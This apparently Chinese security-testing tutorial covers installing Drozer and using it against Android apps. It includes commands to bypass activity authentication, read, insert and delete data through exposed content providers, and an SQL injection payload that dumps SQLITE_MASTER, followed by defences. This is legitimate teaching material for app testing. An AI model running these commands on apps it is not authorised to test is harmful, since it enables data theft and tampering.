【安全測試】Drozer安裝及使用
一、Dorzer安裝
需要用到如下兩個工具:如以前安裝過mercury,這兩個工具應該已經有了。
Java Runtime Environment (JRE) or Java Development Kit (JDK)
Android SDK
下載安裝後需要把adb和java工具路徑寫入PATH環境變數中
1、下載:開啟此下載地址,windows環境選擇drozer (Windows Installer)並下載
https://www.mwrinfosecurity.com/products/drozer/community-edition/
2、安裝:解壓zip檔案並點選setup安裝,一路預設安裝就行;它會自動安裝到C:\drozer資料夾下。
3、檢測是否安裝成功:
開啟cmd視窗,鍵入C:\drozer\drozer.bat , 如出現如下提示說明安裝成功。
4、安裝agent客戶端到手機:
確保手機debug模式開啟,通過USB連線到PC上,通過如下命令安裝agent.apk客戶端。
adb install agent.apk
安裝完成後啟動drozerAgent
點選右下角“開啟”按鈕,開啟Agent
5、建立session連線:
保持手機與PC通過USB連線正常,然後通過cmd視窗鍵入如下命令
adb forward tcp:31415 tcp:31415
drozer console connect 或 C:\drozer\drozer.bat console connect
出現android頭像及:
dz>
命令提示符表示連線成功
6、具體安裝步驟和使用方法詳見檔案:mwri_drozer-users-guide_2013-09-11.pdf
https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_2013-09-11.pdf
修復連線時java路徑找不到問題:
1、建立如下檔案並命名為:1.txt (如果為winXP,則可以直接命名為.drozer_config)
2、寫入內容如下幾行內容:此處為java.exe檔案的安裝位置,具體情況具體處理。
[executables]
java =C:\Program Files\Java\jdk1.7.0_40\bin\java.exe
javac =C:\Program Files\Java\jdk1.7.0_04\bin\javac.exe
dx =F:\Android\android-sdk_r18-windows\android-sdk-windows\platform-tools\dx.bat
3、把此檔案放入個人目錄下資料夾:
英文:C:\Users\<youruser name>\
中文:C:\使用者\<你的使用者名稱名稱>\
4、通過cmd命令重新命名此檔案為:.drozer_config
rename C:\Users\d00218136\1.txt .drozer_config
二、android元件安全分析
service元件風險分析
Service是後臺執行服務,它不在UI介面顯示,其安全相關特徵: Exported設定為Ture就表示可以外部呼叫,暴露狀態;False為不可外部呼叫。 如果至少含有一個intent-filter,則其預設exported狀態為Ture。 如果一個intent-filter也沒有,則其預設exported狀態為False。 Permission設定,有此設定則只有申請此permission的應用才可以訪問。 風險Service的情況: 與某項功能或服務有聯絡,惡意應用通過偽造intent資訊進行Server欺騙攻擊來控制某項功能或服務。 應用內部通過隱式訊息(implicitintent)來呼叫其Service,使其含有潛在的Service劫持風險。Content Provider元件風險分析
Contentprovider元件相當於應用的資料庫介面,應用通過此元件進行查詢更新其資料庫中的資料;其安全相關特徵: Exported設定為True就表示可以外部呼叫,暴露狀態;False為不可外部呼叫。 不同於其他三個元件:它不受到intent-filter的影響。 Exported預設為True: 當 minSdkVersion 或targetSdkVersion設定為"16"或更低時。 Exported預設為False: 當 minSdkVersion 或targetSdkVersion設定為"17"或更高時。 Permission設定,有此設定則只有申請此permission的應用才可以訪問。 同時還可單獨設定讀寫許可權:Read/Writepermission;如果這兩個許可權沒有設定(也即其讀寫許可權為null),則表示訪問此content provider不需要讀寫許可權。
三、Drozer使用
獲取apk資訊
Run app.packege.list –f過濾資訊
•(2)具體檢視某個APK資訊Run app.package.info –a apk名
•(3)查詢APK存在的攻擊面(activity、contentprovider、service)Run app.package.attacksurface apk名
繞過Activity鑑權
Run app.activity.info –a apk包名
(2)構造intent資訊繞過鑑權直接執行Activity
Run app.activity.start –-componentcom.mwr.example.sieve包名
利用ContentProvider攻擊
•(1)收集ContentProvider的資訊進行收集,查詢暴露的ContentProviderRun app.provider.info –a apk包名
•(2)發現暴露的ContentProvider後,可以對資料庫進行探測。探測出可以查詢的URIRun scanner.provider.finduris –aapk包名
•(3)檢視資料庫中的內容Run app.provider.queryURI –vertical
•(4)對資料庫表進行插入操作Run app.provider.insert URI對應資料表中的欄位
•(5)對資料庫表進行刪除操作Run app.provider.delete URI–-selection “條件”
SQL注入 •(1)檢視URI對應的資料庫表Run app.provider.query URI–-projection “ ‘ ”
Run app.provider.query URI–-selection “ ‘ ”
•(2)可以通過返回的錯誤資訊展示出改Content準備執行的語句,獲取資料庫中的資訊Run app.provider.query URI–projection “* From SQLITE_MASTER WHERE type=‘table’;--”
Run app.provider.query URI–-selection “_id = ?”
預防(1)進行許可權控制,對此元件進行exported=“false”或者設定呼叫需要申請的許可權
(2)SQLiteStatementsqLiteStatement =db.compileStatement("insertinto chat(fromuid,touid,msg) values(?, ?, ?)");
sqLiteStatement.bindLong(1, 12);
sqLiteStatement.bindLong(2, 13);
sqLiteStatement.bindString(3,text);
long newRowId =sqLiteStatement.executeInsert();
四、使用示例
http://www.freebuf.com/tools/26503.html
http://www.freebuf.com/articles/terminal/33127.html